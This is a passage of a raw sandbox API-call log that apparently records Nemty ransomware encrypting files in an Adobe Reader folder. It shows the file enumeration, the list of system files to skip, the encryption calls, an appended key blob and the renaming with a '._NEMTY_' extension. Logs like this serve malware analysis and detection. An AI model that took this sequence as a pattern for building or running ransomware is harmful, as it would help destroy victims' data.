lpUsedDefaultChar=0x0) returned 12 [0183.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.367] Sleep (dwMilliseconds=0x5) [0183.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f287d0, dwHighDateTime=0x1d561e8)) [0183.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f287d0, dwHighDateTime=0x1d561e8)) [0183.376] GetLastError () returned 0x0 [0183.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.376] GetLastError () returned 0x0 [0183.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.377] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.377] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WOS6KrFLbpHi/C/nLIP6PgF2Den2MQTiO5dFStrgh99eBwctDWOsoj4qCDDEY1nc\r\nUr16TsCTAgy4Bi/BFJExUeM+uEGX9lBk8akIAgjFPhf2+45NszNFqAnfUBBhj81L\r\ndW5r7BCSoVMC12BsUBsuU+kB+X+kJv62+2+d24MSrLxO/Gdv5N9gT+4BzArV1c3W\r\nxj2F+Mg5K9yw8qkiXPL7tfODPTPctaI9Pqzq1q6pCM97k2taw1Rfr92wQ9hXsfHo\r\nG2vKp/ORQmiUQ3V7mh69dL+To1h4FOwtkvhZZt+/mK/6ej00aRQEe4661NeT+2oj\r\n2t3jz7LkS6rkoycardt2Hw==\r\n", pcchString=0x653e5dc) returned 1 [0183.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\checkers.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.378] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=122880) returned 1 [0183.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.378] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.378] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.389] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.389] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.389] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=122880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e000 [0183.389] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.389] CloseHandle (hObject=0x2e8) returned 1 [0183.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.390] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\checkers.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\checkers.sky._nemty_kgobjgd_")) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.390] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.SKY", cAlternateFileName="")) returned 1 [0183.390] lstrcmpiW (lpString1="DigSig.SKY", lpString2=".") returned 1 [0183.390] lstrcmpiW (lpString1="DigSig.SKY", lpString2="..") returned 1 [0183.390] lstrcmpiW (lpString1="DigSig.SKY", lpString2="...") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="windows") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="rsa") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="NTDETECT.COM") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="ntldr") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="MSDOS.SYS") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="IO.SYS") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="boot.ini") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="boot.ini") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="ntuser.dat") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="desktop.ini") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="CONFIG.SYS") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="RECYCLER") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="bootmgr") returned 1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="programdata") returned -1 [0183.391] lstrcmpiW (lpString1="DigSig.SKY", lpString2="appdata") returned 1 [0183.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SKY", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.392] Sleep (dwMilliseconds=0x5) [0183.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f74a90, dwHighDateTime=0x1d561e8)) [0183.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f74a90, dwHighDateTime=0x1d561e8)) [0183.407] GetLastError () returned 0x0 [0183.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.407] GetLastError () returned 0x0 [0183.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.407] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.407] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.408] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.408] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="8fDPvWdaEgAgLUPf56B6K0oQZWw4/6bA4IASzgVkzEB3JZc4JG0Rd+j1p0qG0I8R\r\n53UNFdLqvCFbWA+rZEX2e/dHrn5iMe9EI6GB2ulSkNpvIKfpLJ4/L40kAbxu5vDm\r\nlsIX+rp2uXhVFHIXPCoFQM4mavO3tqa2AqA7Pu2lT2Y1wmX1AncMuJC8kgKb2XNB\r\na9+D10v1TA51Rpc3rauQaAIJCWA89T+teGuPS57ftgea14fmO7hd1IloV1yFSaXm\r\nOIjO6ahzKfEN9gK907BRaV4svdpCIvhJpi6YgRVVWqJaEHloHLqgKGQFJlHKkW/8\r\nYO2WyIUlyRZqGlh9emI1Qw==\r\n", pcchString=0x653e5dc) returned 1 [0183.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\digsig.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.408] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=125440) returned 1 [0183.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.408] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.408] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.417] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.417] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.418] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=125440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ea00 [0183.418] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.418] CloseHandle (hObject=0x2e8) returned 1 [0183.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.418] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\digsig.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\digsig.sky._nemty_kgobjgd_")) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.419] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.SKY", cAlternateFileName="")) returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2=".") returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="..") returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="...") returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="windows") returned -1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="rsa") returned -1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="NTDETECT.COM") returned -1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="ntldr") returned -1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="MSDOS.SYS") returned -1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="IO.SYS") returned -1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="boot.ini") returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="boot.ini") returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="ntuser.dat") returned -1 [0183.419] lstrcmpiW (lpString1="DVA.SKY", lpString2="desktop.ini") returned 1 [0183.420] lstrcmpiW (lpString1="DVA.SKY", lpString2="CONFIG.SYS") returned 1 [0183.420] lstrcmpiW (lpString1="DVA.SKY", lpString2="RECYCLER") returned -1 [0183.420] lstrcmpiW (lpString1="DVA.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.420] lstrcmpiW (lpString1="DVA.SKY", lpString2="bootmgr") returned 1 [0183.420] lstrcmpiW (lpString1="DVA.SKY", lpString2="programdata") returned -1 [0183.420] lstrcmpiW (lpString1="DVA.SKY", lpString2="appdata") returned 1 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, 